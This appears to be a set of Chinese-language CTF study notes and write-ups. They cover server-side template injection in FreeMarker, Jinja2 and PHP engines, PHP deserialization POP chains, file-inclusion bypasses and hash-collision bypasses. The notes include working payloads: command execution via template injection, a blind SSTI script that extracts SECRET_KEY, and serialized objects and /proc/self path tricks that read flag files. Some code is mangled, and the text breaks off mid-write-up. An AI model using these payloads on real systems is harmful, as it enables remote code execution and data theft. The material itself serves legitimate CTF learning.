第五周3

SSTI
java漏洞:
0x4:相关危险函数
1、new
创建任意实现了TemplateModel接口的Java对象,同时在使用new的时候,还能够执行没有实现该接口类的静态初始化块。

FreeMarker模板注入poc中常用的两个类:

freemarker.template.utility.JythonRuntime
freemarker.template.utility.Execute
这两个类都继承了TemplateModel接口。

2、API
value?api 提供对 value 的 API(通常是 Java API)的访问,例如

value?api.someJavaMethod()
value?api.someBeanProperty
可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。

但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

0x5:漏洞风险面POC及漏洞代码分析
exec_pcc.java
复制代码
package org.example;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.File;
import java.io.FileWriter;
import java.io.Writer;
import java.util.HashMap;
import java.util.Map;

public class exec_pcc {
public static void main(String[] args) throws Exception{
//1.创建配置类
Configuration configuration = new Configuration(Configuration.getVersion());
//2.设置模板所在的目录
configuration.setDirectoryForTemplateLoading(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources"));
//3.设置字符集
configuration.setDefaultEncoding("utf-8");
//4.加载模板
Template template = configuration.getTemplate("exec_poc1.ftl");
//5.创建数据模型
Map map=new HashMap();
map.put("name", "张三");
map.put("message", "欢迎来到我的博客!");
//6.创建Writer对象
Writer out =new FileWriter(new File("/Users/zhenghan/Projects/FreeMarker_test/src/main/resources/exec_poc1.html"));
//7.输出
template.process(map, out);
//8.关闭Writer对象
out.close();

复制代码
1、命令执行
1) freemarker.template.utility.Execute
复制代码
<html>
<head>
<meta charset="utf-8">
<title>Freemarker入门</title>
</head>
<body>
<#--我只是一个注释,我不会有任何输出 -->
${name}你好,${message}

<h3>
<#assign value="freemarker.template.utility.Execute"?new()>${value("open -a Calculator")}
</h3>

</body>
</html>

第五周2

SSTI:
php漏洞:
Twig引擎
引擎介绍
Twig是一个流行的PHP模板引擎,其语法清晰简洁,易于学习和使用,Twig语法特征如下:

“插值:Twig中使用来表示插值,用于输出变量或表达式的值
控制结构:Twig支持常见的控制结构
过滤器:Twig允许使用过滤器对变量进行处理
简易示例
下面是一个Twig引擎的简易示例,我们首先引入Twig的自动加载文件,然后创建了一个模板环境(Environment),并通过该环境加载了名为index.html的模板文件并向该模板文件传递了一个名为name的变量”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require_once 'vendor/autoload.php'; // 引入 Twig 的自动加载文件
use Twig\Environment;
use Twig\Loader\FilesystemLoader;

// 指定模板文件夹
$loader = new FilesystemLoader('path/to/templates');

// 创建 Twig 环境
$twig = new Environment $loader;

// 渲染模板
echo $twig->render('index.html', 'name' => 'John Doe']); // 将 name 变量传递给模板

?>

Smarty引擎
引擎介绍
Smarty是一个流行的PHP模板引擎,它提供了灵活且易于使用的语法,特点主要有以下几个:

“插值:Smarty中使用{xxx}来表示插值,用于输出变量的值,
控制结构:Smarty支持常见的控制结构
变量修饰器:Smarty允许使用变量修饰器对变量进行处理
注释:Smarty使用 { xxx } 来添加注释,这样可以在模板中添加注释信息而不会影响渲染结果
简易示例
下面是一个简易的Smarty引擎使用示例,我们首先引入了Smarty的文件,然后创建了一个Smarty对象,接着通过assign方法将name变量传递给模板,最后使用display方法渲染并显示名为index.tpl的模板”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require('libs/Smarty.class.php'); // 引入Smarty的文件

$smarty = new Smarty(); // 创建Smarty对象

// 传递变量给模板
$smarty->assign('name', 'John Doe');

// 渲染模板
$smarty->display('index.tpl'); // 显示名为 index.tpl 的模板
?>
Blade引擎
基本介绍
Blade是Laravel框架中使用的一个流行的模板引擎,它提供了简洁而强大的语法,以下是关于Blade引擎的语法特点

"插值:Blade中使用双花括号{{ }}来表示插值,用于输出变量的值,例如:
Hello, {{ $name !"

“控制结构:Blade支持常见的控制结构,例如:if-else、for循环等,if-else结构用@if(condition) … @else … @endif表示,而for循环用@foreach($array as $item) … @endforeach表示
条件判断:Blade提供了方便的条件判断语法,例如:@unless(condition) … @endunless表示除非条件为假时执行
注释:使用来添加注释,这样可以在模板中添加注释信息而不会影响渲染结果
继承与包含:Blade支持模板的继承和包含,通过@extends(‘layout’)来指定父模板,然后使用@section和@yield或@include来定义和引入子模板的内容
简易示例”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- layout.blade.php -->
<html>
<head>
<title>@yield('title')</title>
</head>
<body>
@section('content')
<p>Default content</p>
@show
</body>
</html>
<!-- page.blade.php -->
@extends('layout')

@section('title', 'Page Title')

@section('content')
<p>Page content</p>
@endsection

在上述简易示例中我们创建了两个模板文件,首先layout.blade.php定义了一个基本布局,其中使用@yield来定义一个占位符,该占位符可以被子模板填充,在page.blade.php中通过@extends指定了父模板并使用@section和@endsection定义了一个名为’content’的区块并填充了具体的内容

patTemplate
基本介绍
patTemplate是一个基于PHP的模板引擎,它提供了简单而直观的语法,以下是关于patTemplate引擎的语法特点以及一个简易的使用示例:

插值:patTemplate中使用占位符$var的表示插值,用于输出变量的值,例如:
Hello, $name!

条件判断:patTemplate支持条件判断结构,使用 … 来表示,可以根据条件来控制是否输出某个区块
循环:patTemplate通过 … 语法实现循环结构,可以遍历数组并重复输出相应区块
过器:patTemplate允许使用过滤器对变量进行处理,例如:$var|lowercase表示将变量转换为小写形式
注释:使用来添加注释,这样可以在模板中添加注释信息而不会影响渲染结果
简易示例
下面是parTemplate的一个简易使用示例,在上述示例中我们首先引入了patTemplate的文件,然后创建了一个patTemplate对象。接着使用setBasedir方法设置模板所在的目录,然后使用addVar方法添加变量到模板,例如:将 name变量设置为’John Doe’,最后使用display方法显示名为index.tpl的模板

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
require_once('pat/patTemplate.php'); // 引入 patTemplate 的文件

// 创建 patTemplate 对象
$template = new patTemplate();
$template->setBasedir('path/to/templates'); // 设置模板所在目录

// 添加变量到模板
$template->addVar('name', 'John Doe');

// 显示模板
$template->display('index.tpl'); // 显示名为 index.tpl 的模板
?>

第五周1

SSTI
关于python中的 知识点:

  1. 漏洞分类

条件语句注入:攻击者在应用程序中的条件语句中注入模板代码,从而控制条件判断的分支,导致程序的逻辑错误。这种注入通常发生在基于条件语句的模板引擎,如 Django、Jinja2中。

命令执行注入:攻击者在应用程序中的命令执行语句中注入模板代码,从而执行任意系统命令,获取系统权限,对系统进行攻击等。这种注入通常发生在使用反序列化操作等动态执行代码的模板引擎中,如 FreeMarker、Velocity 等。

变量渲染注入:攻击者在应用程序中的变量渲染语句中注入模板代码,从而影响页面的输出,导致代码执行或信息泄漏等问题。这种注入通常发生在基于语法标签的模板引擎,如 Smarty 等中。

其他注入:SSTI 漏洞还有一些其他的注入方式,如在 URL、请求头、Cookie 等参数中注入模板代码,通过多重注入实现攻击等。

魔术方法
在一些模板引擎中,存在一些用于访问对象属性和方法的魔术方法,可利用这些魔术方法构造SSTI漏洞。
markdown 代码解读复制代码1. __class__:通过该魔术方法,攻击者可以获取目标对象的类名并进行操作。

1
2
3
4
5
6
7
8
9
10
11
12
2. __bases__:该魔术方法返回目标对象所在类的所有父类的元组,
并且攻击者可以根据这些信息来构造恶意代码。

3. __subclasses__():该魔术方法返回目标对象的所有子类,
并且攻击者可以根据这些信息来构造恶意代码。

4. __globals__:该魔术方法返回当前作用域中的所有全局变量,
并且攻击者可以利用这些变量来执行恶意代码。

5. __import__():该魔术方法用于动态加载模块,
并且攻击者可以利用这个方法来执行任意代码。

  1. 对于os模块
    查看linecache中os模块

为什么需要查看 linecache 中的 os 模块?
在 Python 3 中,当对一个未导入的模块(如 os 模块)执行 eval() 函数时,linecache 模块会发出一个警告,可利用这个警告来读取敏感信息。

1
2
3
4
5
6
Payload:
{{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')}}
获取第 59 个type的__init__.func_globals.values()[13]['eval']属性,然后使用 Python 的 eval() 函数来执行字符串 __import__(\"os\").popen(\"ls\").read()
__init__用来创建一个 Python 代码字符串所对应的函数对象,func_globals.values() 返回一个字典视图对象,包含了定义在该方法中的所有全局变量和函数。而 [13] 则是用来获取该字典视图中的第 13 个元素。由于这个方法中定义了一个名为 eval 的全局函数变量,因此该元素为 eval 函数本身。
在 Python 中,eval() 函数可以动态地解析并执行字符串作为 Python 代码进行计算。执行 os.popen("ls").read()命令,可获取当前目录下的所有文件列表

  1. WAF绕过
    盲注
    通过回显内容的真假爆破字符串
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    {%for char in (name="SECRET_KEY")%}

    {%else%}0
    {%endif%}
    {%endfor%}

    示例脚本
    import string
    import time
    import requests

    url = "https://ip:port/"
    s = string.printable

    def ssti(re):
    payload = """text={%for%20char%20in%20get_env(name="SECRET_KEY")%}{%if%20char%20is%20matching('str')%20%}1{%else%}0{%endif%}{%endfor%}""".replace("str", re)
    headers = {
    "Content-Type": "application/x-www-form-urlencoded"

    result = requests.post(url, data=payload, headers=headers, verify=False).text
    if "1" in result:
    print(re, result)
    return re
    return ""

    for i in s:
    time.sleep(0.5)

第四周3

  1. 打开环境 php代码映入眼帘

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    // flag.php
    class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
    $this->name = $name;
    $this->rank = $rank;
    $this->salary = $salary;

    class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
    $this->name = $name;
    $this->leader = $leader;

    public function hahaha(){
    if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
    return False;
    }
    else{
    return True;
    }

    class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
    $this->department = $department;
    $this->headmaster = $ceo;

    public function IPO(){
    if($this->headmaster == 'ong'){
    echo "Pretty Good ! Ctfer!\n";
    echo new $_POST['a']($_POST['b']);
    }

    public function __wakeup(){
    if($this->department->hahaha()) {
    $this->IPO();
    }

    if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
    }
    ?>
  2. 代码审计 先看危险点

    1
    2
    echo new $_POST['a']($_POST['b']);
    可以利用原生类注入

    看到魔法函数 wakeup 在反序列化时自动触发

  3. 想办构造pop链
    当反序列化时会自动触发wakeup函数 我们需要让:

    1
    2
    if($this->department->hahaha())  
    返回true

    我们要调动classroom类中的hahaha函数:

    1
    2
    if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department')
    让其返回flase 即可

    我们需要调用teacher类 让该类下的name=ing rank=department 即可

  4. 写代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    // flag.php
    class teacher{
    public $name='ing';
    public $rank='department';


    class classroom{
    public $name='one class';
    public $leader;


    class school{
    public $department;
    public $headmaster='ong';

    $a=new school();
    $b=new classroom();
    $c=new teacher();
    $a->department=$b;
    $b->leader=$c;
    echo base64_encode(serialize($a));
    ?>

    结果:
    Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjoyOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO319czoxMDoiaGVhZG1hc3RlciI7czozOiJvbmciO30=

    成功获得flag

5.总结:
这个题目考察原生类利用
其他的就是正常的反序列化程序

第四周2

关于反序列化的姿势:
反序列化考点

字符串逃逸

POP构造链

反序列化做题姿势
1首先 正常创建类 有方法调用方法 总之要得到想要的内容

2其次 对创建的类进行序列化 并打印出序列化的内容 需要绕过就更改里面的内容

3最后 把序列化后的内容 进行提交 有需要编码 就进行编码

pop链构造做题姿势
phar反序列化的三个前提条件> 可以上传phar文件

有可以利用的魔术方法

文件操作函数的参数可控

1、找到可利用的地方,比如,文件包含,命令执行等地方
2、从可以利用地方回溯到可控制的地方,找到一个链条。
3、更改属性内容,先进行序列化,看看能不能达到目的。
4、能够达到目的,才进行反序列化,进行提交 有需要编码 就进行编码

魔法方法
PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。 魔术方法包括:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1. __construct(),类的构造函数

2. __destruct(),类的析构函数

3. __call(),在对象中调用一个不可访问方法时调用

4. __callStatic(),用静态方式中调用一个不可访问方法时调用

5. __get(),获得一个类的成员变量时调用

6. __set(),设置一个类的成员变量时调用

7. __isset(),当对不可访问属性调用isset()或empty()时调用

8. __unset(),当对不可访问属性调用unset()时被调用。

9. __sleep(),执行serialize()时,先会调用这个函数

10. __wakeup(),执行unserialize()时,先会调用这个函数

11. __toString(),类被当成字符串时的回应方法

12. __invoke(),调用函数的方式调用一个对象时的回应方法

13. __set_state(),调用var_export()导出类时,此静态方法会被调用。

14. __clone(),当对象复制完成时调用

15. __autoload(),尝试加载未定义的类

16. __debugInfo(),打印所需调试信息

phar反序列化利用
可以代替unserialize 进行反序列化操作的函数
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fikeperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile
注意:生成phar文件//生成phar文件前需要配置php.ini

[Phar]
; http://php.net/phar.readonly
phar.readonly = On 改成 Off
创建对象 exp.phar 是文件名
$phar = new Phar(‘exp.phar’);
$phar->startBuffering();
// 设置stub
$phar->setStub(‘‘);
$phar->setMetadata($c1);
// 要压缩的文件
$phar->addFromString(‘exp.txt’,’test’);
$phar->stopBuffering();
特性
在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞
绕过_wakeup魔法方法

绕过方法:只需要将对象属性数量设置比原本的要大即可

利用php>7.1版本对类属性的检测不严格(对属性类型不敏感)

意味着 序列化的时候可以将portected属性换成public属性

1
2
3
4
5
6
Private 权限
%00类名%00属性名
Protected 权限
%00*%00属性名
绕过字符过滤
s 换成 S 属性值就可以为十六进制

反序列化原生类的利用
http://www.wangqingzheng.com/anquanke/82/238482.html

第四周1

题解: [第五空间 2021]pklovecloud

  1. 打开环境发现了php代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    <?php  
    include 'flag.php';
    class pkshow
    {
    function echo_name()
    {
    return "Pk very safe^.^";
    }
    }

    class acp
    {
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct()
    {
    $this->cinder = new pkshow;
    }
    function __toString()
    {
    if (isset($this->cinder))
    return $this->cinder->echo_name();
    }
    }

    class ace
    {
    public $filename;
    public $openstack;
    public $docker;
    function echo_name()
    {
    $this->openstack = unserialize($this->docker);
    $this->openstack->neutron = $heat;
    if($this->openstack->neutron === $this->openstack->nova)
    {
    $file = "./{$this->filename}";
    if (file_get_contents($file))
    {
    return file_get_contents($file);
    }
    else
    {
    return "keystone lost~";
    }
    }
    }
    }

    if (isset($_GET['pks']))
    {
    $logData = unserialize($_GET['pks']);
    echo $logData;
    }
    else
    {
    highlight_file(__file__);
    }
    ?>
  2. 我们进行代码审计 对于反序列化题 最重要就是看代码
    我们先找危险函数或者一些执行代码:

    1
    2
    return file_get_contents($file);
    这个高亮代码可以

    再看他有几个类 ace acp pkshow这三个类

  3. 我们再看一下这个魔法函数 对于反序列话 就应该tostring函数可以用
    在主代码中有个echo函数 可以可以 在反序列化时会自动触发tostring函数

  4. 简单概括就是 第一个类啥也没用 我们以tostring方法为切入点
    与ace类连接 对于代码:

    1
    2
    3
    4
    $this->openstack = unserialize($this->docker);
    $this->openstack->neutron = $heat;
    if($this->openstack->neutron === $this->openstack->nova)
    我们可以选择让docker=null 即null=null 可以绕过
  5. 分析完了之后 我们就开始构造代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    <?php
    class acp
    {
    protected $cinder;
    public $neutron;
    public $nova;
    }

    class ace
    {
    public $filename;
    public $openstack;
    public $docker;
    }

    $a = new acp();
    $b = new ace();
    $a->cinder = $b;
    $b->docker = '';
    $b->filename = "flag.php";
    echo urlencode(serialize($a));

    ?>

    得到结果:O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3
    BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%
    22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3
    A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%
    3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%
    3A%22nova%22%3BN%3B%7D

  6. 用pks= O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3
    BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%
    22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3
    A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%
    3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%
    3A%22nova%22%3BN%3B%7D试一下
    看到源代码 有个flag的位置/nssctfasdasdflag

  7. 我们修改payload:pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder
    %22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A34%3A%22..%2F..
    %2F..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%
    3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%
    3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
    成功获得flag

  8. 总结:反序列话 一定要看魔法函数 关于整体的结构
    关于flag的位置 可能是在根目录

第三周3

题目: [NSSRound#8 Basic]MyPage

  1. 打开环境发现空白 什么也没有
    但我们可以看到有个file参数

  2. 我们用伪协议试一下
    file=php://filter/convert.base64-encode/resource=index.php
    发现啥也没有

  3. 这个时候我们没有办法 可能是有include_once函数
    可能已经包含了应该文件 这个函数只能包含一个文件

  4. 这个时候我们就想到了一种厉害的方法
    /proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
    cwd 文件是一个指向当前进程运行目录的符号链接
    /proc/self/cwd 返回当前文件所在目录

  5. 构造payload:file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
    看到了php代码 如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
     <?php
    error_reporting(0);

    include 'flag.php';

    if(!isset($_GET['file'])) {
    header('Location:/index.php?file=');
    } else {
    $file = $_GET['file'];

    if (!preg_match('/\.\.|data|input|glob|global|var|dict|gopher|file|http|phar|localhost|\?|\*|\~|zip|7z|compress/is', $file)) {
    include_once $file;
    } else {
    die('error.');
    }
    }
  6. 简单审计一下 就是因为这个include_once 我们直接把index换为flag
    file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php

  7. 得到PD9waHAKJGZsYWc9J05TU0NURntlYjJiMmUxZi05NGY2LTQyNGItYmZmMy1jYzE1MzIzZmJjMWV9JzsK
    解密后: 得到flag

  8. 总结:
    就是绕过这个 include_once()函数
    用/proc/self指向当前进程的/proc/pid/,/proc/self/root/是指向/的符号链接
    cwd 文件是一个指向当前进程运行目录的符号链接
    /proc/self/cwd 返回当前文件所在目录
    绕过

第三周2

题目: [HNCTF 2022 WEEK2]easy_include

  1. 打开环境 直接就给php代码了
    如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
      <?php
    //WEB手要懂得搜索

    if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
    die("error");
    }
    include($file);
    }else{
    highlight_file(__FILE__);
    }
  2. 代码很简单 审计一下 发现 这要是用php伪协议来写 php,=等
    都被过滤了 这看来用不了php伪协议了

  3. 没办法了 我们看看这个/文件的信息头
    发现Server:nginx/1.18.0

  4. 我们想到了 日志文件注入 去看看

  5. 我们打开burp抓包 由上面代码自动参数为file
    我们payload:file=/var/log/nginx/access.log
    看一下 发现可以看到日志内容
    并且日志内容:
    39.162.187.117 - - [29/Jan/2025:10:31:17 +0000] “GET / HTTP/1.1” 200 1534 “-“ “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0”

  6. 发现内容都是User-Agent中的内容 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
    发现一样

  7. 我们对User-Agent中的信息注入 如下:

    发现了flag

  8. 总结:
    不一定非要用php伪协议来进行文件包含
    有些题目的过滤非常严格 把php等都过滤了

第三周1

题目: [SWPUCTF 2022 ]numgame

  1. 打开环境发现什么也没有,就一个算数页面,基本没有有用信息
    我们试着打开源代码 CTRL+u和F12 都不能用

  2. 这个时候用火狐浏览器插件试一下 看到源码有1.js文件
    内容如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
        var input = $('input'),
    input_val = parseInt(input.val()),
    btn_add = $('.add'),
    btn_remove = $('.remove');

    input.keyup(function() {
    input_val = parseInt(input.val())
    });

    btn_add.click(function(e) {
    input_val++;
    input.val(input_val);
    console.log(input_val);
    if(input_val==18){
    input_val=-20;
    input.val(-20);

    }
    });

    btn_remove.click(function(e) {
    input_val--;
    input.val(input_val);
    });
    // NSSCTF{TnNTY1RmLnBocA==}
  3. 简单审计一下 最后一个NSSCTF的内容 应该是base64加密
    我们解密看一下 内容:NsScTf.php

  4. 我们打开这个文件 弹出来了php代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
     <?php
    error_reporting(0);
    //hint: 与get相似的另一种请求协议是什么呢
    include("flag.php");
    class nss{
    static function ctf(){
    include("./hint2.php");
    }
    }
    if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
    die("no");
    call_user_func($_GET['p']);
    }else{
    highlight_file(__FILE__);
    }
  5. 审计一下 发现过滤了n,c,m三个字母
    我们用大写绕过
    payload:NSS::CTF

  6. 我们发现给了一句话:有没有一种可能,类是nss2
    我们重新构造payload:NSS2::ctf
    在源代码看到了flag

  7. 总结:这个题目最主要就是考察这个函数调用的方式:
    函数名::方法

第二周3

题目 : [NISACTF 2022]level-up
  1. 打开环境 如我所料 啥也没有
    看一下源代码 有个标志“disallow”(是robots.txt文件的标志)
    看一下robos.txt文件

  2. 
    

User-agent: *
Disallow:
Disallow: level_2_1s_h3re.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
   弹出来这个level_2_1s_h3re.php文件  看一下

3. ``` bash
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}
}
else{
show_source(__FILE__);
}
?>

发现这个代码 审计一下
发现是个强比较绕过 但这个题目不能用数组
用数组 $a1 = (string)$_POST[‘array1’];
$a2 = (string)$POST[‘array2’];
会导致array1=array2=null 都为空 无法绕过
这个时候可以用碰撞相等的方式
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%
6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d
3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%f
b%5f%07%fe%a2来绕过
4. 绕过后发现了 Level___3.php 文件
打开文件 又发现一串php代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
  <?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (sha1($a1) === sha1($a2)){
echo $level4;
}
else{
die("level 3 failed ...");
}
}
else{
show_source(__FILE__);
}
?>

代码审计一下 与上面一样都不能用数组绕过
可以用array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/
Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D
8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%
AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W
%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D
0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200
%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%
3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%
B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C
2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A
8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
来进行绕过
发现文件level_level_4.php文件
5. 打开level_level_4.php文件看一下 发现这个php代码
1
2
3
4
5
6
7
8
9
10
11
12
13
